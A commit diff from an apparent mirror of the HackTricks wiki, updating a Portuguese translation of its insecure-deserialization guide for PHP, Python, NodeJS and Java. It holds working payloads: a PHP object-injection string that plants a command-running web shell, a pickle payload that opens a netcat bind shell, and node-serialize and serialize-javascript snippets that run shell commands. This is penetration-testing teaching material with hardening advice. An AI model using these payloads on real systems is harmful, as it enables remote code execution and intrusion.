mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/java-signedobject-gated-
This commit is contained in:
parent
cb612b18e9
commit
146d2beb0c
@ -622,6 +622,7 @@
|
||||
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
|
||||
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
|
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
**Serialização** é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado em um momento posterior, mantendo sua estrutura e estado.
|
||||
**Serialização** é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado posteriormente, mantendo sua estrutura e estado.
|
||||
|
||||
**Desserialização**, por outro lado, é o processo que contrabalança a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
|
||||
**Desserialização**, por outro lado, é o processo inverso da serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
|
||||
|
||||
A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causem comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
|
||||
A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código malicioso** ou causem comportamento inesperado na aplicação durante o processo de reconstrução do objeto.
|
||||
|
||||
## PHP
|
||||
|
||||
Em PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:
|
||||
No PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:
|
||||
|
||||
- `__sleep`: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para comprometer dados pendentes ou realizar tarefas de limpeza semelhantes.
|
||||
- `__wakeup`: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.
|
||||
- `__unserialize`: Este método é chamado em vez de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
|
||||
- `__destruct`: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. É tipicamente usado para tarefas de limpeza, como fechar manipuladores de arquivos ou conexões de banco de dados.
|
||||
- `__toString`: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.
|
||||
- `__sleep`: Invocado quando um objeto está sendo serializado. Esse método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para gravar dados pendentes ou executar tarefas de limpeza semelhantes.
|
||||
- `__wakeup`: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e executar outras tarefas de reinicialização.
|
||||
- `__unserialize`: Esse método é chamado em vez de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
|
||||
- `__destruct`: Esse método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. Tipicamente é usado para tarefas de limpeza, como fechar descritores de arquivo ou conexões de banco de dados.
|
||||
- `__toString`: Esse método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas baseadas nas chamadas de função dentro dele, efetivamente fornecendo uma representação textual do objeto.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está acontecendo mais**.
|
||||
Se você olhar para os resultados pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não acontece mais**.
|
||||
|
||||
> [!WARNING]
|
||||
> O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias após a desserialização.
|
||||
> O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e executar quaisquer tarefas necessárias ao desserializar.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,7 +85,7 @@ Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // Realizar quaisquer tarefas necessárias após a desserialização.
|
||||
> // Perform any necessary tasks upon deserialization.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
@ -94,7 +94,8 @@ Você pode ler um **exemplo PHP explicado aqui**: [https://www.notsosecure.com/r
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
|
||||
Você pode abusar da funcionalidade PHP autoload para carregar arquivos php arbitrários e mais:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
@ -102,7 +103,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### Serializando Valores Referenciados
|
||||
|
||||
Se por algum motivo você quiser serializar um valor como uma **referência a outro valor serializado**, você pode:
|
||||
Se, por algum motivo, você quiser serializar um valor como uma **referência para outro valor serializado** você pode:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -115,12 +116,12 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### Prevenindo a Injeção de Objetos PHP com `allowed_classes`
|
||||
### Prevenindo PHP Object Injection com `allowed_classes`
|
||||
|
||||
> [!INFO]
|
||||
> O suporte para o **segundo argumento** de `unserialize()` (o array `$options`) foi adicionado no **PHP 7.0**. Em versões mais antigas, a função aceita apenas a string serializada, tornando impossível restringir quais classes podem ser instanciadas.
|
||||
> Suporte para o **segundo argumento** de `unserialize()` (o array `$options`) foi adicionado no **PHP 7.0**. Em versões mais antigas a função aceita apenas a string serializada, tornando impossível restringir quais classes podem ser instanciadas.
|
||||
|
||||
`unserialize()` irá **instanciar todas as classes** que encontrar dentro do fluxo serializado, a menos que seja informado o contrário. Desde o PHP 7, o comportamento pode ser restrito com a opção [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||
`unserialize()` irá **instanciar cada classe** que encontrar dentro do fluxo serializado, a menos que seja instruída de outra forma. Desde o PHP 7 o comportamento pode ser restringido com a opção [`allowed_classes`](https://www.php.net/manual/en/function/unserialize.php):
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -135,9 +136,9 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
Se **`allowed_classes` for omitido _ou_ o código for executado em PHP < 7.0**, a chamada se torna **perigosa**, pois um atacante pode criar um payload que abusa de métodos mágicos como `__wakeup()` ou `__destruct()` para alcançar Execução Remota de Código (RCE).
|
||||
Se **`allowed_classes` for omitido _ou_ o código for executado em PHP < 7.0**, a chamada torna-se **perigosa**, pois um atacante pode criar um payload que abuse de métodos mágicos como `__wakeup()` ou `__destruct()` para conseguir Remote Code Execution (RCE).
|
||||
|
||||
#### Exemplo do mundo real: Everest Forms (WordPress) CVE-2025-52709
|
||||
#### Exemplo real: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
O plugin do WordPress **Everest Forms ≤ 3.2.2** tentou ser defensivo com um wrapper auxiliar, mas esqueceu das versões legadas do PHP:
|
||||
```php
|
||||
@ -154,29 +155,30 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
Em servidores que ainda executavam **PHP ≤ 7.0**, este segundo ramo levou a uma clássica **PHP Object Injection** quando um administrador abria uma submissão de formulário maliciosa. Um payload de exploit mínimo poderia ser assim:
|
||||
Em servidores que ainda executavam **PHP ≤ 7.0** esse segundo ramo levava a uma clássica **PHP Object Injection** quando um administrador abria um envio de formulário malicioso. Um exploit payload mínimo poderia ser parecido com:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
Assim que o administrador visualizou a entrada, o objeto foi instanciado e `SomeClass::__destruct()` foi executado, resultando na execução de código arbitrário.
|
||||
Assim que o admin visualizou a entrada, o objeto foi instanciado e `SomeClass::__destruct()` foi executado, resultando em execução arbitrária de código.
|
||||
|
||||
**Principais pontos**
|
||||
1. Sempre passe `['allowed_classes' => false]` (ou uma lista branca estrita) ao chamar `unserialize()`.
|
||||
2. Audite wrappers defensivos – eles frequentemente esquecem os ramos legados do PHP.
|
||||
3. Atualizar para **PHP ≥ 7.x** por si só *não* é suficiente: a opção ainda precisa ser fornecida explicitamente.
|
||||
**Principais lições**
|
||||
1. Sempre passe `['allowed_classes' => false]` (ou uma white-list estrita) ao chamar `unserialize()`.
|
||||
2. Audite wrappers defensivos – eles frequentemente esquecem das ramificações legadas do PHP.
|
||||
3. Atualizar apenas para **PHP ≥ 7.x** não é suficiente: a opção ainda precisa ser fornecida explicitamente.
|
||||
|
||||
---
|
||||
|
||||
### PHPGGC (ysoserial para PHP)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações PHP.\
|
||||
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas pode ser capaz de **abusar do código de extensões PHP externas.**\
|
||||
Então, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar a gerar payloads para abusar de deserializações do PHP.\
|
||||
Note que, em vários casos, você **não conseguirá encontrar uma forma de abusar de uma deserialização no código-fonte** da aplicação, mas pode ser capaz de **abusar do código de extensões PHP externas.**\
|
||||
Portanto, se possível, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até mesmo nos **gadgets** do **PHPGGC**) por algum gadget que você possa abusar.
|
||||
|
||||
### deserialização de metadados phar://
|
||||
### phar:// metadata deserialization
|
||||
|
||||
Se você encontrou um LFI que apenas lê o arquivo e não executa o php code dentro dele, por exemplo usando funções como _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_. Você pode tentar abusar de uma deserialização ocorrendo quando lendo um file usando o protocolo phar.\
|
||||
Para mais informações leia o seguinte post:
|
||||
|
||||
Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como _**file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** ocorrendo ao **ler** um **arquivo** usando o protocolo **phar**.\
|
||||
Para mais informações, leia o seguinte post:
|
||||
|
||||
{{#ref}}
|
||||
../file-inclusion/phar-deserialization.md
|
||||
@ -186,8 +188,8 @@ Para mais informações, leia o seguinte post:
|
||||
|
||||
### **Pickle**
|
||||
|
||||
Quando o objeto é descompactado, a função \_\_\_reduce\_\_\_ será executada.\
|
||||
Quando explorado, o servidor pode retornar um erro.
|
||||
Quando o objeto é unpickled, a função \_\_\_reduce\_\_\_ será executada.\
|
||||
Ao ser explorado, o servidor pode retornar um erro.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -195,9 +197,10 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Antes de verificar a técnica de bypass, tente usar `print(base64.b64encode(pickle.dumps(P(),2)))` para gerar um objeto que seja compatível com python2 se você estiver executando python3.
|
||||
Antes de verificar a técnica de bypass, tente usar `print(base64.b64encode(pickle.dumps(P(),2)))` para gerar um objeto compatível com python2 se você estiver executando python3.
|
||||
|
||||
Para mais informações sobre escapar de **pickle jails** consulte:
|
||||
|
||||
Para mais informações sobre escapar de **pickle jails**, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -205,13 +208,15 @@ Para mais informações sobre escapar de **pickle jails**, consulte:
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
A página a seguir apresenta a técnica para **abusar de uma desserialização insegura em bibliotecas python de yamls** e termina com uma ferramenta que pode ser usada para gerar payloads de desserialização RCE para **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
||||
A página a seguir apresenta a técnica para **abusar de uma desserialização insegura em bibliotecas yaml** do Python e termina com uma ferramenta que pode ser usada para gerar payloads de RCE por desserialização para **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### Class Pollution (Poluição de Protótipos em Python)
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -219,12 +224,12 @@ python-yaml-deserialization.md
|
||||
|
||||
## NodeJS
|
||||
|
||||
### Funções Mágicas JS
|
||||
### JS Funções "mágicas"
|
||||
|
||||
JS **não tem funções "mágicas"** como PHP ou Python que serão executadas apenas para criar um objeto. Mas possui algumas **funções** que são **frequentemente usadas mesmo sem serem chamadas diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipos) e poderia executar código arbitrário quando elas forem chamadas.
|
||||
JS **não tem funções "mágicas"** como PHP ou Python que serão executadas apenas por criar um objeto. Mas ele possui algumas **funções** que são **frequentemente usadas mesmo sem serem chamadas diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Ao abusar de uma desserialização, se você conseguir **comprometer essas funções para executar outro código** (potencialmente explorando prototype pollutions), poderá executar código arbitrário quando elas forem chamadas.
|
||||
|
||||
Outra **maneira "mágica" de chamar uma função** sem chamá-la diretamente é **comprometendo um objeto que é retornado por uma função assíncrona** (promise). Porque, se você **transformar** esse **objeto de retorno** em outra **promise** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas porque é retornada por outra promise. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._
|
||||
Outra **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -248,9 +253,9 @@ test_ressolve()
|
||||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` e poluição de `prototype`
|
||||
### `__proto__` e `prototype` pollution
|
||||
|
||||
Se você quiser aprender sobre essa técnica **dê uma olhada no seguinte tutorial**:
|
||||
Se quiser aprender sobre esta técnica, **dê uma olhada no tutorial a seguir**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -276,19 +281,19 @@ O **objeto serializado** ficará assim:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Você pode ver no exemplo que, quando uma função é serializada, a flag `_$$ND_FUNC$$_` é anexada ao objeto serializado.
|
||||
Você pode ver no exemplo que quando uma função é serializada a flag `_$$ND_FUNC$$_` é anexada ao objeto serializado.
|
||||
|
||||
Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesma flag e como o código a utiliza.
|
||||
Dentro do arquivo `node-serialize/lib/serialize.js` você pode encontrar a mesma flag e como o código a está usando.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então, basicamente, **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||
Como você pode ver no último trecho de código, **se a flag for encontrada** `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
|
||||
De qualquer forma, você poderia **modificar o objeto serializado**, **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
||||
No próximo bloco de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código estivesse **chamando `y.rce`** no nosso exemplo e isso é altamente **improvável**.\
|
||||
De qualquer forma, você poderia simplesmente **modificar o objeto serializado** **adicionando alguns parênteses** para executar automaticamente a função serializada quando o objeto for desserializado.\
|
||||
No próximo trecho de código **observe o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -296,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Conforme indicado anteriormente, esta biblioteca obterá o código após `_$$ND_FUNC$$_` e **o executará** usando `eval`. Portanto, para **auto-executar código**, você pode **deletar a parte de criação da função** e o último parêntese e **apenas executar um oneliner JS** como no seguinte exemplo:
|
||||
Como foi indicado anteriormente, esta biblioteca irá obter o código após`_$$ND_FUNC$$_` e irá **executá-lo** usando `eval`. Portanto, para **auto-executar código** você pode **excluir a parte de criação da função** e o último parêntese e **simplesmente executar um oneliner JS** como no exemplo a seguir:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Você pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
|
||||
Você pode [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar esta vulnerabilidade.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Um aspecto notável do **funcster** é a inacessibilidade dos **objetos padrão embutidos**; eles estão fora do escopo acessível. Essa restrição impede a execução de código que tenta invocar métodos em objetos embutidos, levando a exceções como `"ReferenceError: console is not defined"` quando comandos como `console.log()` ou `require(something)` são usados.
|
||||
Um aspecto notável do **funcster** é a inacessibilidade dos **objetos embutidos padrão**; eles ficam fora do escopo acessível. Essa restrição impede a execução de código que tente invocar métodos nesses objetos embutidos, levando a exceções como "ReferenceError: console is not defined" quando comandos como `console.log()` ou `require(something)` são usados.
|
||||
|
||||
Apesar dessa limitação, a restauração do acesso total ao contexto global, incluindo todos os objetos padrão embutidos, é possível através de uma abordagem específica. Ao aproveitar o contexto global diretamente, é possível contornar essa restrição. Por exemplo, o acesso pode ser restabelecido usando o seguinte trecho:
|
||||
Apesar dessa limitação, a restauração do acesso completo ao contexto global, incluindo todos os objetos embutidos padrão, é possível por meio de uma abordagem específica. Ao aproveitar o contexto global diretamente, é possível contornar essa restrição. Por exemplo, o acesso pode ser restabelecido usando o snippet a seguir:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -331,17 +336,17 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**Para**[ **mais informações, leia esta fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Para**[ **mais informações leia esta fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
O pacote **serialize-javascript** é projetado exclusivamente para fins de serialização, não possuindo nenhuma capacidade de desserialização embutida. Os usuários são responsáveis por implementar seu próprio método para desserialização. O uso direto de `eval` é sugerido pelo exemplo oficial para desserializar dados serializados:
|
||||
O pacote **serialize-javascript** é projetado exclusivamente para fins de serialization, não possuindo quaisquer capacidades de deserialization embutidas. Os usuários são responsáveis por implementar seu próprio método de deserialization. O uso direto de `eval` é sugerido pelo exemplo oficial para deserializing serialized data:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
Se esta função for usada para desserializar objetos, você pode **explorá-la facilmente**:
|
||||
Se esta função for usada para deserialize objects, você pode **easily exploit it**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -355,90 +360,100 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**Para**[ **mais informações, leia esta fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Para**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Biblioteca Cryo
|
||||
|
||||
Nas páginas seguintes, você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
|
||||
Nas páginas seguintes você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
|
||||
|
||||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
Em Java, **os callbacks de deserialização são executados durante o processo de deserialização**. Essa execução pode ser explorada por atacantes que criam payloads maliciosos que acionam esses callbacks, levando à potencial execução de ações prejudiciais.
|
||||
Em Java, **deserialization callbacks são executados durante o processo de deserialization**. Essa execução pode ser explorada por atacantes que criam payloads maliciosos que acionam esses callbacks, levando à potencial execução de ações prejudiciais.
|
||||
|
||||
### Impressões digitais
|
||||
|
||||
#### Caixa Branca
|
||||
#### White Box
|
||||
|
||||
Para identificar potenciais vulnerabilidades de serialização na base de código, procure por:
|
||||
Para identificar potenciais vulnerabilidades de serialization na base de código, procure por:
|
||||
|
||||
- Classes que implementam a interface `Serializable`.
|
||||
- Uso das funções `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
- Uso de `java.io.ObjectInputStream`, das funções `readObject`, `readUnshare`.
|
||||
|
||||
Preste atenção especial a:
|
||||
|
||||
- `XMLDecoder` utilizado com parâmetros definidos por usuários externos.
|
||||
- O método `fromXML` do `XStream`, especialmente se a versão do XStream for menor ou igual a 1.46, pois é suscetível a problemas de serialização.
|
||||
- `ObjectInputStream` acoplado ao método `readObject`.
|
||||
- Implementação de métodos como `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`.
|
||||
- O método `fromXML` do `XStream`, especialmente se a versão do XStream for menor ou igual a 1.46, pois é suscetível a problemas de serialization.
|
||||
- `ObjectInputStream` em conjunto com o método `readObject`.
|
||||
- Implementação de métodos como `readObject`, `readObjectNodData`, `readResolve`, ou `readExternal`.
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
- Uso geral de `Serializable`.
|
||||
|
||||
#### Caixa Preta
|
||||
#### Black Box
|
||||
|
||||
Para testes de caixa preta, procure por **assinaturas específicas ou "Magic Bytes"** que denotam objetos serializados em java (originando de `ObjectInputStream`):
|
||||
Para testes Black Box, procure por assinaturas específicas ou "Magic Bytes" que denotam java serialized objects (originating from `ObjectInputStream`):
|
||||
|
||||
- Padrão hexadecimal: `AC ED 00 05`.
|
||||
- Padrão Base64: `rO0`.
|
||||
- Cabeçalhos de resposta HTTP com `Content-type` definido como `application/x-java-serialized-object`.
|
||||
- Padrão hexadecimal indicando compressão anterior: `1F 8B 08 00`.
|
||||
- Padrão Base64 indicando compressão anterior: `H4sIA`.
|
||||
- Arquivos web com a extensão `.faces` e o parâmetro `faces.ViewState`. Descobrir esses padrões em uma aplicação web deve levar a uma investigação conforme detalhado no [post sobre Deserialização de ViewState do Java JSF](java-jsf-viewstate-.faces-deserialization.md).
|
||||
- Padrão hexadecimal indicando compressão prévia: `1F 8B 08 00`.
|
||||
- Padrão Base64 indicando compressão prévia: `H4sIA`.
|
||||
- Arquivos web com extensão `.faces` e o parâmetro `faces.ViewState`. Encontrar esses padrões em uma aplicação web deve levar a um exame conforme detalhado no [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Verifique se é vulnerável
|
||||
|
||||
Se você quiser **aprender como funciona um exploit de Deserialização em Java**, deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização de DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Se você quer **aprender como funciona um Java Deserialized exploit** deve dar uma olhada em [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Teste de Caixa Branca
|
||||
#### SignedObject-gated deserialization e pre-auth reachability
|
||||
|
||||
Codebases modernas às vezes encapsulam deserialização com `java.security.SignedObject` e validam uma assinatura antes de chamar `getObject()` (que desserializa o objeto interno). Isso previne arbitrary top-level gadget classes mas ainda pode ser explorável se um atacante conseguir obter uma assinatura válida (por exemplo, comprometimento da chave privada ou um signing oracle). Adicionalmente, fluxos de tratamento de erro podem criar tokens vinculados à sessão para usuários não autenticados, expondo sinks protegidos antes da autenticação.
|
||||
|
||||
Para um estudo de caso concreto com requisições, IoCs, e orientações de hardening, veja:
|
||||
|
||||
{{#ref}}
|
||||
java-signedobject-gated-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
#### White Box Test
|
||||
|
||||
Você pode verificar se há algum aplicativo instalado com vulnerabilidades conhecidas.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e que [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você pode verificar as bibliotecas indicadas no [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Você também pode usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
|
||||
Ao executar **gadgetinspector** (após construí-lo), não se preocupe com os muitos avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Por favor, note que **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
|
||||
